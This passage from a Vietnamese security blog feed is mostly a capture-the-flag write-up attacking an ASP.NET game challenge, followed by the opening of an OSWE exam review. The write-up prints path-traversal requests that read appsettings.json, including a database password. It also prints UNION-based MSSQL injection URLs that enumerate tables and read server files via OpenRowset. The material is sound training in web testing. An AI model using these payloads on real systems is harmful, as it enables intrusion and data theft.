<li><p>…</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011707854/46db8d46-c580-4c36-ab58-4e867e315582.png" alt class="image--center mx-auto" /></p>
<p>⇒ Có thể chức năng này đã thực sự bị lập trình viên xóa bỏ</p>
<h2 id="heading-phan-tich-request-burpsuite">Phân tích request burpsuite</h2>
<p>Đến đây, chúng ta đã dạo qua một vòng web bằng browser, bây giờ là lúc tôi thử ngó qua HTTP history của Burpsuite xem như thế nào.</p>
<p>Mở HTTP history của Burpsuite tôi nhận được 1 loạt request như vậy, bây giờ sẽ đi xem từng cái một nè.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011723575/7f949b56-76a6-4696-9423-6efd176bee8a.png" alt class="image--center mx-auto" /></p>
<p>Tôi lấy được CBJS_EASTER_EGG part 1 khi xem response của <code>/</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011742120/616c9a13-7905-46eb-9023-c425197099c1.png" alt class="image--center mx-auto" /></p>
<p>Và thu thập thêm các URLs</p>
<pre><code class="lang-java">/Admin/EditBackground
/backgrounds/<span class="hljs-number">1.</span>png
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011751902/a9f13459-dbf0-4990-afad-c73d04f4423d.png" alt class="image--center mx-auto" /></p>
<p>Tiếp tực mở browser thử truy cập vào URL <code>/backgrounds/&lt;int&gt;.png</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011760868/7f559801-c450-4c63-b6c1-f475c54ad523.png" alt class="image--center mx-auto" /></p>
<p>⇒ Tôi nhận thấy đây chính là background lúc chơi game, vì quay lại <code>/game</code> tôi có thể thấy background của nó chính là <code>1.png</code></p>
<p>Thử truy cập tiếp <code>/Admin/EditBackground</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011776750/d9603f03-9c7c-4943-83ee-7af221deda8d.png" alt class="image--center mx-auto" /></p>
<p>Ở đường dẫn này mình thu về được 2 thông tin cũng có thể gọi là quý</p>
<ol>
<li><p>Lấy được Flag 4: <code>CBJS{Unauth_On___________Đã ẩn thông tin_____________________Ofection}</code></p>
</li>
<li><p>Có một form edit background → Nhìn vào form thì chúng ta đoán ra được param</p>
<ul>
<li><p>Method: post</p>
</li>
<li><p>URL: /Admin/EditBackground</p>
</li>
<li><p>Body: selectedBackground → Giá trị của nó truyền vào có thể là: 1.png, 2.png, 3.png</p>
</li>
</ul>
</li>
</ol>
<p>Bây giờ thử và bắn luôn một cú request nhé:</p>
<p>Trước tiên, Chuyển request <code>/Admin/EditBackground</code> sang repeater → chuyển đổi method sang POST → Thêm boby <code>selectedBackground=2.png</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011785184/d47e6cd0-9f7d-42fd-8d17-2aee1c9090df.png" alt class="image--center mx-auto" /></p>
<p>⇒ Sau khi thử gửi request thành công nhận về code 200 và nội dung trả về có <code>preview content</code>, đoán đoán đâu đó là nội dung của ảnh mà mình vừa cập nhật thành công.</p>
<p>Thử tiếp chức năng <code>Show response in browser</code> của browser sẽ thấy như hình phải bên dưới.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011823016/ca8f9951-dab9-438f-8af6-f6f2d77bef97.png" alt class="image--center mx-auto" /></p>
<p>Quay về page <code>/game</code> và thấy background đã đổi</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011833038/80750bd4-1b72-4078-afeb-bc0479ba1407.png" alt class="image--center mx-auto" /></p>
<p>Đến đoạn này mình dừng lại 1 nhịp để phẩn tích xem: Vậy <code>selectedBackground</code> nhận vào tên file → Thay đổi background và hiển thị nội dung preview content</p>
<p>⇒ Có thể đặt ra câu hỏi liệu chỗ này có thể là lỗ hổng <code>Path traversal</code> để đọc file tùy ý không?</p>
<p>Trong đề bài cho mình biết chắc chắn có 1 file tồn tại trong server rồi là: <code>/tmp/FLAG_WEB</code> tôi thử sửa và gửi request</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011841763/44735958-5e10-4e31-ae77-b6400cc7c8d5.png" alt class="image--center mx-auto" /></p>
<p>Nhận được Flag 1: <code>CBJS{Ha_________Đã ẩn thông tin________________ke}</code></p>
<p>Đến đoạn này chúng ta đã xác định được có thể đọc được file tùy ý thông qua lỗ hổng Path traversal ở chức năng này.</p>
<p>Xem tiếp HTTP request history <code>/game</code> và thu thập thêm được đường dẫn <code>/api/ranking</code> có <code>sortParam</code> ⇒ Giá trị của nó có thể lấy từ URL hoặc <code>Score</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011854137/1ee8179d-88b3-49ec-8140-88f6afc60ed7.png" alt class="image--center mx-auto" /></p>
<p>API lấy danh sách ranking, sort by 1 cột nào đó, cụ thể ở đây là <code>score</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011857452/f951a270-9ee3-4006-9e9e-2fa1d753cc6c.png" alt class="image--center mx-auto" /></p>
<p>Truy cập nhưng không có param thử xem</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011864397/5d082e2a-93d3-4fd8-a483-07637275c80c.png" alt class="image--center mx-auto" /></p>
<p>Mình đã nghĩ đến SQL injection, mình thử bằng tay một số ký tự đặc biệt để xem server có phản ứng dụng không, nhưng không thể confirm được nên mình thử vứt vào ghauri thử.</p>
<p>(Phần này các bạn chắc chắn hỏi vì sao tôi dùng <code>--dbms mssql</code> thực ra cũng là 1 phần kinh nghiệm là asp.net nó hay đi kèm MSSQL giống như PHP hay đi kèm MySQL. Lúc làm mình test thử hết =)) nhưng do lúc chụp ảnh mình chụp phải cái sử dụng <code>--dbms mssql</code> / Fact nữa: khi recon nữa thì ae có thể recon ra được ứng dụng này sử dụng MSSQL nhé)</p>
<pre><code class="lang-java">ghauri -u http:<span class="hljs-comment">//206.189.39.54:8085/api/ranking?sortParam=score --dbms mssql</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011874564/8d53f93f-d202-4527-b3e2-07df41fdfecf.png" alt class="image--center mx-auto" /></p>
<p>⇒ Ghauri cũng không ra, nên tạm thời note lại và đi recon tiếp, sau này có bí quá thì quay lại thử cách khác tiếp.</p>
<p>Cứ mỗi lần tìm ra được 1 đường dẫn mới thì mình sẽ thử chạy lại gobuster 1 lần để thử xem còn thư mục nào nhỏ hơn bên trong không? ở đây với <code>/api/ranking</code> cũng vậy.</p>
<pre><code class="lang-java">gobuster dir -e -u http:<span class="hljs-comment">//206.189.39.54:8085/api/ranking -w ~/Tools/SecLists/Discovery/Web-Conte</span>
nt/common.txt -t <span class="hljs-number">50</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011881047/c7a4f28e-da7a-4975-a758-092e9419bf55.png" alt class="image--center mx-auto" /></p>
<p>Sau khi chạy với gobuster lại phát hiện ra được một đường dẫn mới. <a target="_blank" href="http://206.189.39.54:8085/api/ranking/Search"><code>http://206.189.39.54:8085/api/ranking/Search</code></a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011891637/e98f4945-abca-442c-a095-024d07fdb134.png" alt class="image--center mx-auto" /></p>
<p>Khi truy cập vào thì lập tức bị báo thiếu param: <code>The searchTerm field is required.</code> Tôi thử thêm param <code>searchTerm</code> với giá trị là <code>a</code> và truy cập lại thì cho ra kết quả.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011897272/a07a28a7-327f-403e-b73f-a4cfa6241bd7.png" alt class="image--center mx-auto" /></p>
<p>Nhìn qua kết quả trả về có thể hình dung đây là 1 chức năng search, nhận vào keyword lấy từ param <code>searchTerm</code> và tìm kiếm ở cột PlayerName trong database nếu có chưa keyword đó thì hiển thị ra.</p>
<p>Ngay tại đây, tôi có thể nghĩ ngay đến mình phải kiểm tra ngay lỗ hổng SQL injection, tôi hình dung ra câu lệnh SQL mà server xử lý như sau:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> <span class="hljs-keyword">id</span>,playerName,score <span class="hljs-keyword">FROM</span> [Ranking <span class="hljs-keyword">table</span>] <span class="hljs-keyword">WHERE</span> playerName <span class="hljs-keyword">like</span> <span class="hljs-string">'%[searchTerm]%'</span>;

<span class="hljs-comment"># [Ranking table]: Là tên bảng, nhưng vì tôi không xác định được tên bảng là gì nên đặt 1 placeholder → mục đích là để hình dung ra câu lệnh sql</span>
<span class="hljs-comment"># [searchTerm]: Cũng là placeholder đại diên cho giá trị lấy từ param do người dùng chuyển lên</span>
</code></pre>
<p>Tiếp theo, tôi thử phản ứng của server đối với các ký tự đặc biệt, tôi đã thử <code>'</code> và nhận thấy server lập tức trả về 500.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011909837/97320f0d-6ca8-4845-815d-f64b5adf2942.png" alt class="image--center mx-auto" /></p>
<p>Hình ảnh về SQL injection đang dần hình thành trong đầu tôi, vì khi truyền <code>'</code> lên khiến câu lệnh truy vấn SQL của server gặp lỗi syntax nên sẽ trả về 500 → Trong đầu tôi nghĩ và hình dung như vậy.</p>
<p>Tôi thử injection đoạn như sau.</p>
<pre><code class="lang-sql">' OR 1=1;<span class="hljs-comment">--+</span>
</code></pre>
<p>Nếu giả suy nghĩ tôi đúng, thì câu lệnh SQL của server sẽ biến thành</p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> <span class="hljs-keyword">id</span>,playerName,score <span class="hljs-keyword">FROM</span> [Ranking <span class="hljs-keyword">table</span>] <span class="hljs-keyword">WHERE</span> playerName <span class="hljs-keyword">like</span> <span class="hljs-string">'%'</span> <span class="hljs-keyword">OR</span> <span class="hljs-number">1</span>=<span class="hljs-number">1</span>;<span class="hljs-comment">--+%';</span>
</code></pre>
<p>Tôi đệm thêm <code>MMMMMMMMMMM</code> vào searchTerm để mục đích là khiến cho điều kiện <code>playerName like ...</code> sẽ luôn sai, như thế tôi sẽ xác định được phần injection của mình có hoạt động đúng hay không.</p>
<p>⇒ Phần injection sẽ là:<code>%MMMMMMMMMMM' OR 1=1;--+</code>, hình dung câu lệnh SQL sau khi bị injection sẽ trở thành</p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> <span class="hljs-keyword">id</span>,playerName,score <span class="hljs-keyword">FROM</span> [Ranking <span class="hljs-keyword">table</span>] <span class="hljs-keyword">WHERE</span> playerName <span class="hljs-keyword">like</span> <span class="hljs-string">'%MMMMMMMMMMM'</span> <span class="hljs-keyword">OR</span> <span class="hljs-number">1</span>=<span class="hljs-number">1</span>;<span class="hljs-comment">--+%';</span>
</code></pre>
<p><strong>Giải thích chỗ này một chút</strong>: đó là nếu tôi tìm kiếm với <code>MMMMMMMMMMM</code> thì do trong database không có bản ghi nào chứa <code>MMMMMMMMMMM</code> nên server sẽ không trả về gì cả, mà chỉ trả về 1 mảng rỗng như bên dưới.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011920057/cd8130e8-1ec9-4e6f-b69c-a8bc82e5ce97.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011930992/85f0a8ae-69b4-4f55-ac0e-24654e173c52.png" alt class="image--center mx-auto" /></p>
<p>Server trả về 200 kèm nội dung là mảng rỗng, mình suy nghĩ theo hướng: vì nó ko tìm ra bản ghi nào chứa <code>MMMMMMMMMMM</code> cả nên là nó trả về data rỗng khi này điều kiện <code>playerName like '%MMMMMMMMMMM%'</code> trong câu lệnh SQL của server sẽ là điều kiện sai ⇒ Bây giờ chúng ta thêm <code>OR 1=1</code> vào mà trả về data, thì có thể khẳng định 99,99% là lỗ hổng SQL injection.</p>
<p>Tôi thực hiện truy cập vào đường dẫn đã injection payload SQL, và nhận được dữ liệu trả về</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011942909/c139ad58-32a5-4b66-a5c0-9749a5e774f5.png" alt class="image--center mx-auto" /></p>
<p>Kết luận theo suy nghĩ của tôi: Chức năng này tồn tại SQL injection.</p>
<p>Chúng ta tạm note lại chưa vội khai thác vì còn các đường dẫn khác cần phải khám phá.</p>
<p>Với đường dẫn <code>/Game/SubmitScore</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011947077/9e6a69d8-f58d-48b9-b2bc-37b26d65a787.png" alt class="image--center mx-auto" /></p>
<p>Tôi đoán, khi rắn của người chơi đụng đầu vào tường client sẽ dùng URL gửi điểm người chơi đạt được lên server → Có thể nghĩ đến chuyện thay đổi điểm gửi lên server thì sao?</p>
<p>Tôi liền thử thay đổi điểm và gửi lại request</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011953262/334b6160-ab40-481a-bbf8-fca34f4162c3.png" alt class="image--center mx-auto" /></p>
<p>Cú request thành công và tôi nhận về được CBJS_EASTER_EGG part 5.</p>
<pre><code class="lang-java">CBJS_EASTER_EGG{Part <span class="hljs-number">5</span> (<span class="hljs-keyword">final</span>): <span class="hljs-number">1</span>R5b}
</code></pre>
<h2 id="heading-tam-tong-ket-hanh-trinh-recon-va-discovery">Tạm tổng kết hành trình recon và discovery</h2>
<p>Tôi thu được một số flag:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># EASTER eGG</span>
CBJS_EASTER_EGG{Part 1: &lt;https://lixi.momo.vn/&gt;}
CBJS_EASTER_EGG{Part 2: /lixi/9o3}
CBJS_EASTER_EGG{Part 3: XA5V}
CBJS_EASTER_EGG{Part 5 (final): 1R5b}

<span class="hljs-comment"># Flags</span>
Flag 01: CBJS{Ha_________Đã ẩn thông tin________________ake}
Flag 04: CBJS{Unauthorized__________Đã ẩn thông tin_________________Redirection}
</code></pre>
<p>⇒ Vậy, tôi còn thiếu EASTER EGG part 4 và 2 flag 02,03</p>
<p>Tôi đã note lại được 1 số chức năng có lỗ hổng mà cần lưu ý</p>
<ul>
<li><p><code>/Game/SubmitScore</code> → Edit score tùy ý và đã có thể sửa đổi được điểm gửi lên server</p>
</li>
<li><p><code>/api/ranking/Search?searchTerm=</code> → Lỗ hổng SQL injection</p>
</li>
<li><p><code>/Admin/EditBackground</code> → Lỗ hổng Unauthorized access và Path traversal</p>
</li>
</ul>
<p>Vậy tôi sẽ đi khai thác từng lỗ hổng để đạt đủ các flag và easter egg</p>
<h1 id="heading-exploit">Exploit</h1>
<h2 id="heading-unauthorized-access-path-traversal">Unauthorized access + Path traversal</h2>
<p>Như trên phần trước tôi đã biết được rằng mình có thể sử dụng được chức năng thay đổi background của Admin mà không cần quyền gì đặc biệt và chức năng này có lỗ hổng Path traversal.</p>
<pre><code class="lang-java">POST /Admin/EditBackground HTTP/<span class="hljs-number">1.1</span>
Host: <span class="hljs-number">206.189</span>.<span class="hljs-number">39.54</span>:<span class="hljs-number">8085</span>
User-Agent: Mozilla/<span class="hljs-number">5.0</span> (Windows NT <span class="hljs-number">10.0</span>; Win64; x64; rv:<span class="hljs-number">134.0</span>) Gecko/<span class="hljs-number">20100101</span> Firefox/<span class="hljs-number">134.0</span>
Accept: text/html,application/xhtml+xml,application/xml;q=<span class="hljs-number">0.9</span>,*<span class="hljs-comment">/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: &lt;http://206.189.39.54:8085&gt;
Connection: keep-alive
Referer: &lt;http://206.189.39.54:8085/Admin/EditBackground&gt;
Upgrade-Insecure-Requests: 1
Priority: u=0, i

selectedBackground=&lt;PATH TRAVERSAL&gt;</span>
</code></pre>
<p>Như chúng ta đã biết ứng dụng được lập trình từ <a target="_blank" href="http://asp.net">asp.net</a> và server là Kestrel, chúng ta có thể hỏi chatgpt 1 số câu hỏi như trong link share này: <a target="_blank" href="https://chatgpt.com/share/67a6e798-6bec-8006-9a80-7f878d3380d2">https://chatgpt.com/share/67a6e798-6bec-8006-9a80-7f878d3380d2</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011967357/c018aa52-ca68-4f95-aed2-34386a9f3721.png" alt class="image--center mx-auto" /></p>
<p>Hãy nhớ đến nội dung file robots.txt</p>
<pre><code class="lang-java">Disallow: /Game
Disallow: /appsettings.json
Disallow: /Admin
Disallow: /Areas
Disallow: /bin
Disallow: /Controllers
Disallow: /Models
</code></pre>
<p>Xem mô tả do chatgpt trả về để hình dung được cách tổ chức cấu trúc của dự án này, như vậy liệu chúng ta có thể đọc file <code>appsettings.json</code> để xem có thông tin gì không?</p>
<p>Theo như chatgpt trả lời, Tôi biết rằng có tồn tại <code>appsettings.json</code> ở root folder, nên sử dụng cách thủ công nhất là lần mò từng bước để xác định vị trí đứng, cũng như là đọc được <code>appsettings.json</code></p>
<p>Tôi thử đã thử từng đường dẫn như sau:</p>
<pre><code class="lang-java">appsettings.json
../appsettings.json
../../appsettings.json -&gt; ok
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011976573/03b8ba06-25c4-46d0-8251-74ac52d37679.png" alt class="image--center mx-auto" /></p>
<p>Như vậy, tôi đứng từ chức năng EditBackground đi ra 2 cấp mới có thể đến root folder: <code>../..</code> , thu được Easter egg 04: <code>CBJS_EASTER_EGG{Part 4: VMNp}</code></p>
<p>Chuyển qua tab render để đọc được văn bản rõ hơn</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011979722/6bfbdc35-0fe4-4ae0-93ef-b00291551f0a.png" alt class="image--center mx-auto" /></p>
<p>Tôi đọc rõ hơn và nhận thấy thêm connection string vào database của ứng dụng có chứa credential.</p>
<pre><code class="lang-java">Server=mssql;Database=MyAppDB;User Id=sa;Password=YourStrong!Passw0rd;MultipleActiveResultSets=<span class="hljs-keyword">true</span>;TrustServerCertificate=True;
</code></pre>
<p>⇒ Database sử dụng MSSQL, tên database là: <code>MyAppDB</code></p>
<p>Hoàn thiện đủ bộ Easter egg, giờ ghép lại và nhận lì xì thôi.</p>
<pre><code class="lang-bash">CBJS_EASTER_EGG{Part 1: &lt;https://lixi.momo.vn/&gt;}
CBJS_EASTER_EGG{Part 2: /lixi/9o3}
CBJS_EASTER_EGG{Part 4: VMNp}
CBJS_EASTER_EGG{Part 3: XA5V}
CBJS_EASTER_EGG{Part 5 (final): 1R5b}

=&gt; &lt;https://lixi.momo.vn/lixi/9o3VMNpXA5V1R5b&gt;
</code></pre>
<p>Khi truy cập vào đường dẫn thì nhận được thử thách ghép chữ =)) chấm hỏi? Anh Luật biết chơi thật tiền đến tay rồi không cho lấy mà phải ghép chữ tiếp.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011988185/056267fc-be41-407f-b279-3458c10b0a22.png" alt class="image--center mx-auto" /></p>
<p>Nhưng không sao, tôi thông mình nên sau 1 hồi ghép ghép tôi cũng đoán ra được dây là chữ: HAPPY HACKING</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011994587/62ab9da1-febf-45dd-a4b2-c77e96a198f9.png" alt class="image--center mx-auto" /></p>
<p>Nhận tiền lì xì thôiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii</p>
<p><strong>Cảm ơn các bạn đã đọc blog, tôi nhận được tiền rồi nên nghỉ thôi, không làm nữa đâu nhé.</strong></p>
<p>Hẹn gặp lại các bạn ở 1000 ngày tiếp theo.</p>
<p>Đùa thôi!</p>
<p>Vì tôi còn tận 2 flag nữa chưa tìm ra, nên với tính tò mò của tôi thì khó mà dừng lại ở đây lắm =))</p>
<p>Nên là, vẫn tiếp tục nhé.</p>
<h2 id="heading-sql-injection">SQL injection</h2>
<p>Quay trở lại tiếp tục khai thác nốt lỗ hổng SQL injection, như phần trên tôi đã injection và câu lệnh injection đã hoạt động.</p>
<pre><code class="lang-bash">http://206.189.39.54:8085/api/ranking/Search?searchTerm=MMMMMMMMMMM%27%20OR%201=1;--+
</code></pre>
<p>Tôi có thể nghĩ ngay đển UNION based</p>
<p>Trước tiên, chúng ta cần xác định đúng vị trí dữ liệu khi trả về mà chúng ta có thể đọc bằng payload:</p>
<pre><code class="lang-java"><span class="hljs-string">' UNION SELECT 0,'</span>DATA LEAKED<span class="hljs-string">',0;--+</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739012035197/66968a1c-3dbb-4f44-8f04-cc62a610ed33.png" alt class="image--center mx-auto" /></p>
<p><strong>Fact:</strong> Có nhiều bạn sẽ hỏi, tại sao mình lại biết mà viết payload này, thì mình dựa vào các thông tin mình có được như sau:</p>
<ul>
<li><p>Cú pháp lệnh MSSQL để mình biết ngắt lệnh,comment lệnh thừa, …</p>
</li>
<li><p>Dựa và dữ liệu trả về trước đó → Tôi thấy dữ liệu trả về 1 object có 3 phần tử (3 cột trong database): ID, playerName,score → ID,score thì có thể đoán luôn là integer, playerName là string</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739012037704/3411542f-901c-4148-9ca8-acddadab67e3.png" alt class="image--center mx-auto" /></p>
</li>
</ul>
<p>⇒ Nên tôi phải viết union select làm sao mà data của tôi trả về đúng 3 cột, 2 cột đầu và cuối là integer và cột giữa là String là được <code>SELECT 0,'DATA LEAKED',0</code></p>
<p>Giờ đã biết vị trí chúng ta có thể đọc data rồi, bây giờ phải tìm tên bảng, còn tên database đã tìm thấy ở phần trước là: <code>MyAppDB</code></p>
<pre><code class="lang-bash">http://206.189.39.54:8085/api/ranking/Search?searchTerm=%27%20UNION%20SELECT%200,name,0%20FROM%20sysobjects%20WHERE%20xtype%20=%20%27U%27--
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739012057432/b8ffa501-c635-4238-b797-95d8a03d5764.png" alt class="image--center mx-auto" /></p>
<p>\= thu được tên bảng: CyberJutsu</p>
<p>Tiếp theo là xem bảng có những cột nào</p>
<pre><code class="lang-java">http:<span class="hljs-comment">//206.189.39.54:8085/api/ranking/Search?searchTerm=%27%20UNION%20SELECT%200,name,0%20FROM%20syscolumns%20WHERE%20id%20=%20(SELECT%20id%20FROM%20sysobjects%20WHERE%20name%20=%20%27CyberJutsu%27);--</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739012069235/59a6f58e-b16a-4955-b36e-c85dd39b0c9b.png" alt class="image--center mx-auto" /></p>
<p>⇒ Như vậy, bảng <code>CyberJutsu</code> có một cột là <code>flag</code></p>
<p>Bây giờ thì lấy flag thôi nào.</p>
<pre><code class="lang-java">http:<span class="hljs-comment">//206.189.39.54:8085/api/ranking/Search?searchTerm=%27%20UNION%20SELECT%200,flag,0%20FROM%20CyberJutsu--</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739012078469/ee3ce0c1-8092-402a-8b84-02275ab01aaf.png" alt class="image--center mx-auto" /></p>
<p>Như vậy, tôi đã thu thêm được Flag 03: <code>CBJS{S_________Đã ẩn thông tin________________utsu}</code></p>
<p>Nhiệm vụ vẫn còn, tiếp tục tìm flag 02 nữa để kết thúc bài nhé.</p>
<p>Như đề bài có nói Flag 02 ở trong <code>/tmp/FLAG_DBSERVER</code></p>
<p>Vậy tôi nghĩ đến việc lợi dụng SQL injection để đọc file flag.</p>
<p><code>Đến đây sẽ có bạn: ủa sao không đọc luôn flag02 bằng path traversal ở phần trước</code> ⇒ Nhưng chuyện đâu đơn giản vậy, vì có thể file <code>/tmp/FLAG_DBSERVER</code> đã được phân quyền mà user truy cập thông qua ứng dụng không thể đọc được mà chỉ có user truy cập thông qua database mới đọc được. Hoặc là database nằm trên 1 server (1 container) khác so với ứng dụng web thì cũng không đọc được bằng path traversal.</p>
<pre><code class="lang-java">http:<span class="hljs-comment">//206.189.39.54:8085/api/ranking/Search?searchTerm=%27%20UNION%20select%200,(select%20x%20from%20OpenRowset(BULK%20%27/tmp/FLAG_DBSERVER%27,SINGLE_CLOB)%20R(x)&gt;),0;--</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739012091135/65ba9bb7-2a2c-4fe1-a1f1-d6849001fe8e.png" alt class="image--center mx-auto" /></p>
<p>Tiếp tục có được Flag 02 heng!!!! xong rồi heng!!!!: <code>CBJS{Have_________Đã ẩn thông tin________________nux?}</code></p>
<h1 id="heading-ket-bai">Kết bài</h1>
<p><code>Thông tin vẫn ở đó, quan trọng là bạn có tìm thấy không thôi.</code></p>
<p>Cảm ơn <code>CyberJutsu</code> đã tạo ra bài CTF theo đánh giá của tôi thì khá là hay vì có lì xì.</p>
<p>Cảm ơn các bạn đã đọc bài của mình sau 1000 ngày chờ đợi.</p>
<p>Mình sẽ cố chăm chỉ viết bài hơn, có thể không cần tới 1000 ngày mà 500 ngày gì đó là có bài rồi.</p>
]]></content:encoded></item><item><title><![CDATA[[I passed OSWE] Nguồn gốc và sức mạnh | Tự tin và sự cố gắng]]></title><description><![CDATA[1. Giới thiệu
Xin chào, lại là Tôi - một thằng hay viết các bài blog xàm xàm. Như đã hứa với các bạn đọc ở bài viết Chỉ một buổi chiều, Tôi đã chiếm quyền điều khiển server của 8 website như thế nào? (Một bài viết cũng có thể hay, các bạn đọc thử nhá...]]></description><link>https://manhnv.com/i-passed-oswe-nguon-goc-va-suc-manh-tu-tin-va-su-co-gang</link><guid isPermaLink="true">https://manhnv.com/i-passed-oswe-nguon-goc-va-suc-manh-tu-tin-va-su-co-gang</guid><category><![CDATA[OSWE]]></category><dc:creator><![CDATA[Manhnv]]></dc:creator><pubDate>Fri, 29 Jan 2021 00:00:00 GMT</pubDate><content:encoded><![CDATA[<h1 id="heading-1-gioi-thieu">1. Giới thiệu</h1>
<p>Xin chào, lại là Tôi - một thằng hay viết các bài blog xàm xàm. Như đã hứa với các bạn đọc ở bài viết <a target="_blank" href="https://viblo.asia/p/chi-mot-buoi-chieu-toi-da-chiem-quyen-dieu-khien-server-cua-8-website-nhu-the-nao-Do7542neZM6">Chỉ một buổi chiều, Tôi đã chiếm quyền điều khiển server của 8 website như thế nào?</a> (Một bài viết cũng có thể hay, các bạn đọc thử nhá), Tôi đã hứa là sẽ quay trở lại viết bài với series OSWE, nhưng thôi Tôi quyết định đặt nó thành series <code>I passed OSWE</code> và bài hôm nay sẽ là <code>phần 1 - Nguồn gốc và sức mạnh | Tự tin và sự cố gắng</code>.</p>
<p>Tôi hy vọng rằng bài này sẽ có ích cho bất kỳ ai chuẩn bị học và thi OSWE. Đây chưa phải là bài chia sẻ cách học để thi OSWE, vì đây là bài chia sẻ trải nghiệm quá trình học và thi của Tôi.</p>
<p>Vào hồi 9h sáng ngày 23/01/2021 (dương lịch) Tôi đã bắt đầu bài thi OSWE thời gian thi là 48h, tuy nhiên sau 25h49p Tôi đã hoàn thành 100% bài thi OSWE.</p>
<p>Và đây là mail xác nhận từ <code>Offensive Security</code> gửi cho Tôi.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739158711423/3c50c14a-f961-4c5e-937e-e77cba0ca460.png" alt class="image--center mx-auto" /></p>
<p>Và Badge trên website đây: <a target="_blank" href="https://www.youracclaim.com/badges/f6400cb3-7bfc-4dad-97c1-af80301d2fea/public_url">https://www.youracclaim.com/badges/f6400cb3-7bfc-4dad-97c1-af80301d2fea/public_url</a></p>
<p>Một chứng chỉ tuyệt vời để các bạn muốn học thêm nhiều skills về tấn công web nâng cao (có nhiều skills như thế nào thì các bạn đọc <code>Phần 3 - Sức Mạnh</code> nhé).</p>
<p>Tôi muốn viết nên series này là vì Tôi cũng muốn chia sẻ tý niềm vui khi đạt được chứng chỉ cho các bạn đọc được biết (nói trắng ra là khoe), cũng như review tạo chút động lực cho bạn nào muốn lấy OSWE trong thời gian sắp tới.</p>
<p>Những bạn đang có ý định thi, lỡ có đọc các bài review trượt lên trượt xuống trên mạng thì cũng đừng có hoảng loạn nha, nó cũng chả có gì đâu, cố gắng là được. Lúc mới tìm hiểu OSWE Tôi cũng đi đọc hết các bài review trên mạng, nhưng lạ thay toàn là bài về việc trượt lên trượt xuống 1-2 lần thậm chí 3 lần mới đỗ, nên cũng hoảng lắm.</p>
<p>Nhưng không sao, các bạn tự tin vào bản thân mình thì sẽ có kết quả tốt.</p>
<h1 id="heading-2-nguon-goc">2. Nguồn gốc</h1>
<h2 id="heading-offensive-security-web-expert-oswe-advanced-web-attacks-and-exploitation-web-300">Offensive Security Web Expert (OSWE) - Advanced Web Attacks and Exploitation (WEB-300)</h2>
<p>OSWE là một trong danh sách 1 tràng chứng chỉ của <a target="_blank" href="https://www.offensive-security.com/">Offensive Security</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739158724014/971e196a-a854-4c8d-83a5-944f9cdcf26b.png" alt class="image--center mx-auto" /></p>
<p>Offensive Security Web Expert (OSWE) là chứng chỉ mà các bạn phải thi mới có thể đạt được sau khi hoàn thành khóa học Advanced Web Attacks and Exploitation (WEB-300). WEB-300 là một khóa học kiểm thử thâm nhập white box cho một ứng dụng web - <code>white box web app penetration tests</code></p>
<p>Khóa học này sẽ dạy cho các bạn:</p>
<ul>
<li><p>Thực hành phân tích sâu mã nguồn của một ứng dụng web được decompiled.</p>
</li>
<li><p>Tìm kiếm các lỗ hổng về logic mà các tools scan lỗ hổng không thể tìm ra.</p>
</li>
<li><p>Kết hợp các lỗ hổng một cách hợp lý để tạo ra một <code>proof of concept</code> trên ứng dụng web.</p>
</li>
<li><p>Khai thác các lỗ hổng bằng cách xâu chuỗi chúng thành các cuộc tấn công phức tạp.</p>
</li>
</ul>
